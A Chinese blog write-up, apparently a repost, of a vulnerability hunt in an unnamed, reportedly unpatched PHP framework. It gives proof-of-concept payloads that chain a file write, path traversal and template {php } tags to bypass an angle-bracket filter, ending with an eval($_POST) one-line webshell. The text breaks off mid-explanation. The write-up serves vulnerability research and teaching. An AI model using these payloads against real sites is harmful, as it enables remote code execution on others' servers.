3个月前 (08-25)  渗透注入 评论关闭  70 
文章评分 0 次,平均分 0.0

最近在挖某框架的漏洞,其中挖到一枚Getshell,挖的过程有点曲折感觉可以写篇文章总结一下,方便与各位大牛交流交流。

因为此框架有大量用户,并且此漏洞并未修复,故此隐去所有有关此框架的信息,连文章中出现的代码都是我自己另写的,重在思路,希望大家理解。

首先通过审计定位到可能导致漏洞的代码(路径:/edit/creat.php):

<code class="hljs perl">
<span role="presentation">    $file = $_GP[<span class="hljs-string">'file'</span>];</span>
<span role="presentation">    $viewFile = <span class="hljs-string">'./setting/'</span> . $file;</span>
<span role="presentation">    <span class="hljs-keyword">if</span> (!file_exists($viewFile)) {</span>
<span role="presentation">        mkdirs(dirname($viewFile));</span>
<span role="presentation">        file_put_contents($viewFile, <span class="hljs-string">'&lt;!-- SETTING URL:setting /'</span> . $file . <span class="hljs-string">' --&gt;'</span>);</span>
<span role="presentation">    }</span></code>

其中 $GP 是合并 $GET 和 $_POST 的变量。

可以看到写入的文件路径和写入的部分内容都是可控的,看到这里不禁露出了一丝笑容,没想到一枚 getshell 如此轻松。

好吧,先测试一下,把$file的值设置为:

<code class="hljs xml"><span class="php"><span class="hljs-meta">&lt;?php</span> <span class="hljs-keyword">echo</span> <span class="hljs-number">1111</span>; <span class="hljs-meta">?&gt;</span></span>.php</code>

post 到 /index.php? control=edit&action=creat

(此框架是单入口)

漏扫经验 | 记一次曲折的Getshell过程

预计生成的文件内容是:

<code class="hljs xml"><span role="presentation"><span class="hljs-comment">&lt;!-- SETTING URL:setting/&lt;?php echo 1111;?&gt;.php --&gt;</span></span></code>

好了,那访问一下生成的文件,URL:

http://test.com/edit/setting/%3C%3Fphp%20echo%201111%3B%20%3F%3E.php

右键查看一下源码,发现输出的内容是:

<code class="hljs xml"><span role="presentation"><span class="hljs-comment">&lt;!-- SETTING URL:setting/&amp;lt;?php echo 1111;?&amp;gt;.php --&gt;</span></span></code>

居然被过滤了? 回溯之前的代码,在 index.php 文件中发现代码:

<code class="hljs bash">
<span role="presentation">    <span class="hljs-variable">$_GP</span>= array_merge(<span class="hljs-variable">$_GET</span>, <span class="hljs-variable">$_POST</span>);</span>
<span role="presentation">    <span class="hljs-variable">$_GP</span> = htmlEncode(<span class="hljs-variable">$_GP</span>);</span>
<span role="presentation">    <span class="hljs-variable">$control</span> = <span class="hljs-variable">$_GP</span>[<span class="hljs-string">'control'</span>];</span>
<span role="presentation">    <span class="hljs-variable">$action</span> = <span class="hljs-variable">$_GP</span>[<span class="hljs-string">'action'</span>];</span>
<span role="presentation">    <span class="hljs-variable">$controls</span> = array(<span class="hljs-string">'basic'</span>, <span class="hljs-string">'edit'</span>);</span>
<span role="presentation">    <span class="hljs-variable">$actions</span> = array(<span class="hljs-string">'index'</span>, <span class="hljs-string">'creat'</span>);</span>
<span role="presentation">    <span class="hljs-keyword">if</span> (<span class="hljs-keyword">in</span>_array(<span class="hljs-variable">$control</span>, <span class="hljs-variable">$controls</span>) &amp;&amp;<span class="hljs-keyword">in</span>_array(<span class="hljs-variable">$action</span>, <span class="hljs-variable">$actions</span>)) {</span>
<span role="presentation">        <span class="hljs-variable">$file</span> =<span class="hljs-string">"./<span class="hljs-variable">$control</span>/<span class="hljs-variable">$action</span>.php"</span>;</span>
<span role="presentation">        include <span class="hljs-variable">$file</span>;</span>
<span role="presentation">    } <span class="hljs-keyword">else</span> {</span>
<span role="presentation">        <span class="hljs-built_in">echo</span> <span class="hljs-string">'error'</span>;</span>
<span role="presentation">    }</span></code>

关键在开始的两行代码上,htmlEncode ? 搜索这个函数,找到这个函数的代码如下:

<code class="hljs php">
<span role="presentation"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">htmlEncode</span><span class="hljs-params">($var)</span> </span>{</span>
<span role="presentation">   <span class="hljs-keyword">if</span> (is_array($var)) {</span>
<span role="presentation">       <span class="hljs-keyword">foreach</span> ($var <span class="hljs-keyword">as</span> $key =&gt; $value) {</span>
<span role="presentation">            $var[htmlspecialchars($key)] =htmlEncode($value);</span>
<span role="presentation">       }</span>
<span role="presentation">   } <span class="hljs-keyword">else</span> {</span>
<span role="presentation">       $var = str_replace(<span class="hljs-string">'&amp;amp;'</span>, <span class="hljs-string">'&amp;'</span>, htmlspecialchars($var,ENT_QUOTES));</span>
<span role="presentation">   }</span>
<span role="presentation">   <span class="hljs-keyword">return</span> $var;</span>
<span role="presentation">}</span></code>

结合起来,就是对 post 和 get 获取到的所有内容进行htmlspecialchars,所以才会出现上面所看到的尖括号被过滤的情况。

看到这里,脸上的笑容都消失了,哎呀,果然没那么容易。尖括号过滤了,那就没办法写入PHP 代码的解析标签了,想不到什么突破的办法,难道就这样放弃么?开始犯愁…

一直想着:过滤了尖括号怎么办?过滤了尖括号怎么办?过滤了尖括号怎么办……

那我能不能不用尖括号呢?不用尖括号能不能解析?要怎么才能解析?想到这里,突然就想到模板!这个框架的模板和大多数 MVC 的模板一样,使用大括号作为标记:

<code class="hljs bash">
<span role="presentation"><span class="hljs-keyword">function</span> view(<span class="hljs-variable">$var</span>) {</span>
<span role="presentation">        /*</span>
<span role="presentation">            这里一系列的处理就不写了</span>
<span role="presentation">            过程就是对模板中出现的伪代码进行处理</span>
<span role="presentation">            这些做过 Web MVC 开发的都知道</span>
 
<span role="presentation">            而伪代码的格式与常见的格式一样,用大括号把变量括起来,比如:{<span class="hljs-variable">$var</span>}</span>
<span role="presentation">            当然还有一些 {<span class="hljs-keyword">if</span> <span class="hljs-variable">$var</span>==xx}、{loop <span class="hljs-variable">$var</span> as <span class="hljs-variable">$value</span>} 等等这些</span>
 
<span role="presentation">            其实这些处理的目的就是生成 PHP 可解析的代码</span>
<span role="presentation">        */</span>
<span role="presentation">        //假设解析后的代码文件存放在一个 tmp 目录里,而目录的路径赋值给了 <span class="hljs-variable">$viewFile</span> 变量</span>
<span role="presentation">        include <span class="hljs-variable">$viewFile</span>;</span>
<span role="presentation">}</span></code>

这样就可以使用模板的标记 {} 来绕过尖括号 <> 的过滤,但是根据这个框架的路由协定,模板不能随便被包含,所以只能覆盖原有的模板。

按照这个思路,找一个有加载模板的功能,覆盖加载的模板,覆盖之后访问了就可以解析了。按照这个思路,找到一个加载了模板的功能,URL是:

<code class="hljs perl"><span role="presentation">/<span class="hljs-keyword">index</span>.php? control=basic&amp;action=<span class="hljs-keyword">index</span></span></code>

代码路径在/basic/index.php,代码最后就有调用 view(‘index’);

加载的模板路径在:

<code class="hljs perl"><span role="presentation">/themes/basic/<span class="hljs-keyword">index</span>.html</span></code>

按照这些信息,应该构造 $file 的值为:

<code class="hljs perl"><span role="presentation">../../themes/basic/<span class="hljs-keyword">index</span>.html</span></code>

但是这样又有一个问题了,虽然构造这样的值可以覆盖原有的模板文件,但是写入的文件内容就是:

<code class="hljs xml"><span role="presentation"><span class="hljs-comment">&lt;!-- SETTING URL:setting/../../themes/basic/index.html--&gt;</span></span></code>

这样的话就没有写入需要的 Webshell 了,怎么办呢?!

根据 URL 的特性,./1.php 和 ./test/../1.php 访问的内容是一样的,都是 1.php 这个文件,但是 test 这个目录名我是可以随便写的,再根据模板伪代码的格式构造一个控制 $file 的测试 POC:

<code class="hljs perl"><span role="presentation">../../{php echo <span class="hljs-number">1111</span>;}/../themes/basic/<span class="hljs-keyword">index</span>.html</span></code>

(根据 view() 函数的代码,有一个{php }伪代码标签,处理的时候会替换为 <?php >。其实就算是没有这标签也可以用其他非组合的标签代替)

漏扫经验 | 记一次曲折的Getshell过程

生成的文件内容为:

<code class="hljs xml"><span role="presentation"><span class="hljs-comment">&lt;!-- SETTING URL:setting/../../{php echo1111;}/../themes/basic/index.html --&gt;</span></span></code>

访问 URL:

<code class="hljs perl"><span role="presentation">/<span class="hljs-keyword">index</span>.php? control=basic&amp;action=<span class="hljs-keyword">index</span></span></code>

右键查看源码,输出的内容为:

<code class="hljs xml"><span role="presentation"><span class="hljs-comment">&lt;!-- SETTING URL:setting/../../1111/../themes/basic/index.html --&gt;</span></span></code>

证明代码执行了,那构造一个包含一句话的 POC,按照上一个 POC 的思路,应该把 file 的值构造为:

<code class="hljs perl"><span role="presentation">../../{phpeval($_POST[<span class="hljs-string">'w'</span>]);}/../themes/basic/<span class="hljs-keyword">index</span>.html</span></code>

但是访问


//下面这个css和插件后台设置的主题有关系,如果需要换样式,则需要修改以下CSS名称

 

除特别注明外,本站所有文章均为铁匠运维网原创,转载请注明出处来自http://www.tiejiang.org/18646.html

关于
切换注册

登录

忘记密码 ?

切换登录

注册

扫一扫二维码分享